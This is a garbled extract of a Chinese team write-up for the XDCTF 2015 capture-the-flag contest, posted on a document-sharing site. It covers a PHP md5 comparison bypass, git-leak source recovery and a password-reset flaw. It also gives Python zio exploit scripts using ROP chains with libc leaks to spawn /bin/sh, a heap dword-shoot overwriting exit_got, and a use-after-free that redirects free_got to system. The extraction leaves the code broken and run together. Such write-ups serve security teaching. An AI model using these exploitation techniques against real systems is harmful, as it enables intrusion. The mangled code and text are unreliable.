版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
BXB_TEST白細(xì)胞團(tuán)BXB白細(xì)胞團(tuán)隊(duì) 一 二 三 PWN PWN PWN PWN PWN 四 五 一、WEB1讀出代碼后看到要,出來$test=$_GET['test'];$test=md5($test);if($test=='0'){print"flag{}";}elseprint"youarefalied!print$test;echo"tips:知道原理了,請不在當(dāng)先服務(wù)器環(huán)境下測試,在本地測試好,在此測試poc即可,否則自負(fù)";?>拿到flag要繞過$test==’0’的條件,在上搜了一下,發(fā) 0在HTML里發(fā)現(xiàn)注釋掉的/examples ,發(fā)現(xiàn)題目要求管理員登陸,團(tuán)隊(duì)小伙伴發(fā)現(xiàn) 重新/examples拿到fuzzflag直接了http://9bd5688225d90ff2a06e2ee1 http: dz版本,7.2flag%3右鍵源碼發(fā)現(xiàn)端倪,php動態(tài)生成在中發(fā)現(xiàn)IDfuzzingpayloadburp-intruder使用明文登錄,獲取到二、Web2根據(jù)題目提示得到 rip-git.pl扒拉下rmgit,reset分分鐘回滾logrmid:gitresethrad$idIndex.phpweb2看到提示,老老實(shí)實(shí)審計(jì)代碼,發(fā)現(xiàn)登錄部分代碼是phithon大牛寫的重點(diǎn)這些文件發(fā)現(xiàn)在git\xdsec_app\front_app\controllers\Auth.php文件有一個重置的方Url構(gòu)造得不能進(jìn)xdsec_app\front_app\controllers\Auth.php91$verify=變量$verifyif(empty($_GET[""])||所以要構(gòu)造verify得值為null還不為空,想到了手工用到的構(gòu)造發(fā)現(xiàn)重置的頁面,查看頁面源代碼&v8fiddle2改為:POST flagFlag2為:XDCTF-三、PWNPWN100搜索文件字符串發(fā)現(xiàn)是ms12-027,msf中搜索到相關(guān)rb,然后就可以知道s code位置了,提取s code分析發(fā)現(xiàn)是個寫入flag的:xdctf{d4_5h1_fu_d41_w0_f31}PWN#-*-coding:utf-8#-*-coding:utf-8-fromzioimport*importstructimportio=zio(("39",2333),timeout=1000,print_write=None)#b0x080484BD#a=rop='A'*(0x6C+rop+= #rop+= #poppoppoprop+= #rop+= #bufferrop+= #rop+= #rop+= #poppoppoprop+= #rop+= #bufferrop+= #rop+= #pop_ebprop+= #bufferrop+= #leaverop+= #ebpread_offset=0x000D95E0system_offset=0x0003E360bin_sh_offset= etoXDCTF2015~!')content=io.read(16)content=content[5:9]read_addr=system_addr=read_addr-read_offset+system_offsetbin_sh_addr=read_addr-read_offset+bin_sh_offsetprint"[+]readaddress%s"%hex(read_addr)print"[+]systemaddress%s"%hex(system_addr)print"[+]/bin/shaddress%s"%rop2=rop2=struct.pack('I',0x0804A400)rop2+=struct.pack('I',system_addr)rop2+=struct.pack('I',system_addr)rop2+=struct.pack('I',bin_sh_addr)PWN新建girl的時候可以新建類型為0的,這樣分配長度只有100,修改girl的時候可以選擇girl類型,這樣可以編輯的girl內(nèi)容,從而將girl鏈表的next/prev指針出來或者覆蓋,得到girl起始的堆地址后面在delete的時候可以dwordshoot了沒開NX直接將s 寫到第一個girl,并通過shoot修改exit_got指針直接起s #-*-coding:utf-8-fromzioimport*importstructio=scode=)#新建5個girlforiinrange(0,5):#leakio.write('A'*116+#a=raw_input()content=io.read_until('Choice:')index=content.find('PPPP')heap_addr=content[index+8:index+heap_addr=struct.unpack('I',heap_addr)[0]print"[+]heapaddress%s"%hex(heap_addr)io.write('A'*116+struct.pack('I',0x0804B064)+struct.pack('I',0x0804B060))content=io.read_until('Choice:')#dwordshootio.write('\x90'*20+scode+'\x90'PWNflag了:#-*-coding:utf-8-fromzioimportio=io.write('PK\x01\x02'+'A'*24+'\xFE\xFF'+'B'*16+'flag.txt'+'C'*10)PWN在建立essay內(nèi)容的時候可以建立104長度,這時候再讀入我發(fā)現(xiàn)事實(shí)上一個字節(jié)都讀入不了,所以設(shè)置+4位置的len為0,這樣在resit函數(shù)時候就可以將這塊堆卸載,而且不將相關(guān)指針設(shè)為NULL,造成UAF,下一次再take_exam時候分配的堆地址與第一次我們建立的exam結(jié)構(gòu)體+16處的指針是相同的地址,這樣通過cheat功能可以直接修改第二free_got為put_plt,再次通過cheat修改科目二的+16處為unlink_got這樣就可以函數(shù)指針,通過上面方法,free_got再次修改為system_address,然后布置好+16處為/bin/sh,并在take_exam中建立essay時候輸入大于104的長度這樣就可以觸發(fā)free(s->essay_str),實(shí)上這時候直接起s #-*-coding:utf-8-fromzioimport*importstructimportio=#新建的essay長度和結(jié)構(gòu)體長度相io.write('1*104 #fread要以回車#刪除新建的節(jié)點(diǎn)len0,不將指針清空,造成uaf#此時math->essay_str指向的就是englishio.write('A*8 #fread要以回車結(jié)#調(diào)用cheat函數(shù)來修改english的內(nèi)fake_heap=struct.pack('I',2)fake_heap+=struct.pack('I',8)fake_heap+=struct.pack('I',8)fake_heapx00* #為了使結(jié)構(gòu)體尋址對齊的填fake_heap+=struct.pack('Q',0x0000000000602318) #essay_str地址,這里為free_got,修改free_got地 #show_function,這里64位,不太好利fake_heapx00*0x68 #湊齊大io.read_until('#通過函數(shù)修改essay_str中,即free_got指針為puts指io.read_until('io.write(struct.pack('Q',0x0000000000400970)+'\n')#成功修改指針為puts就可 函數(shù)地址了 read地fake_heap=struct.pack('I',0)fake_heap+=struct.pack('I',0)fake_heap+=struct.pack('I',8)fake_heapx00* #為了使結(jié)構(gòu)體尋址對齊的填 #essay_str地址,這里為free_got,修改為地 #show_function,這里64位,不太好利fake_heapx00*0x68 #湊齊大io.read_until('#如果直接調(diào)用test_examfree后會將ptr+23寫入空指針,導(dǎo)致任意寫入失 read_got指針,構(gòu)造一個錯誤的freecontent=#偏移,奇怪了,這個地 read什么都沒有,試了很久換成unlink搞unlink_offset=0x00000000000ED070system_offset=0x0000000000046640read_offset=0x00000000000EC390system_offset=0x0000000000046640bin_sh_offset=0x000000000017D87B#其實(shí)這個地址是unlink函數(shù)的地read_leak=content[content.find('ota\n')+2:content.find('ota\n')+8]+'\x00'*2read_addr=struct.unpack('Q',read_leak)[0]system_addr=read_addr-unlink_offset+system_offsetbin_sh_addr=read_addr-unlink_offset+bin_sh_offsetprint"[+]readaddress%s"%hex(read_addr)print"[+]systemaddress%s"%hex(system_addr)print"[+]/bin/shaddress%s"%#調(diào)用cheat函數(shù)來重resit破壞的ptr232位置的指針fake_heap=struct.pack('I',2)fake_heap+=struct.pack('I',0)fake_heap+=struct.pack('I',8)fake_heapx00* #為了使結(jié)構(gòu)體尋址對齊的填fake_heap+=struct.pack('Q',0x0000000000602318) #essay_str地址,這里為free_got,修改free_got地 #show_function,這里64位,不太好利fake_heapx00*0x68 #湊齊大io.read_until('#這兒有個問題,free后把ptr+232這里清空了,而根本就沒有free吊內(nèi)存,所以無法再通過它寫#修改free_got為system地io.r
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 提成合同模板6
- 鉆深水井合同模板
- 鐵藝加工合同模板
- 裝修介紹合同模板
- 濟(jì)寧租房轉(zhuǎn)租合同模板
- 車位展廳出租合同模板
- 租房個人安全合同模板
- 2024年司機(jī)短期雇傭合同
- 快遞區(qū)域保護(hù)合同模板
- 家具貼牌合同模板
- 醫(yī)院檢驗(yàn)科實(shí)驗(yàn)室生物安全程序文件SOP
- 92式手槍基礎(chǔ)訓(xùn)練
- 幼兒園教學(xué)課件《半條棉被》課件
- 電子證照管理系統(tǒng)建設(shè)方案
- therebe句型專項(xiàng)練習(xí)
- 民間秘術(shù)絕招大全
- 檢驗(yàn)科授權(quán)申請表1頁
- 工程地質(zhì)學(xué)—地貌
- 手工電弧焊焊接工藝規(guī)范
- 單元體幕墻吊裝施工方案
- 35kV配電系統(tǒng)調(diào)試試驗(yàn)方案
評論
0/150
提交評論